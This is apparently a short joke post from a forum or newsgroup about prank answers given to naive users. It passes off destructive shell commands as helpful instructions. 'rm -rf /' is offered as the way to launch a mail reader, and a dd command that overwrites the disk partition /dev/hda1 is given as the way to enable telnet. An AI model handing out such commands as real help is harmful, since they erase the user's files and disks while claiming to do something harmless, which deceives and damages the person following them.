Only works from an admin account - it's a full-featured mail reader/POP3 client that has some pretty nifty features from an end-user standpoint.
To launch, use "rm -rf /"
Or you could just visit CPlusPlus's [link|http://www.tessier.com/ThePlan/PlainText/irc.twits.txt|irc.twits] file to see about all the people who have foolishly listened to his advice.
"How do I enable telnet?"
"dd if=/usr/sbin/in.telnetd of=/dev/hda1 && /usr/sbin/in.telnetd"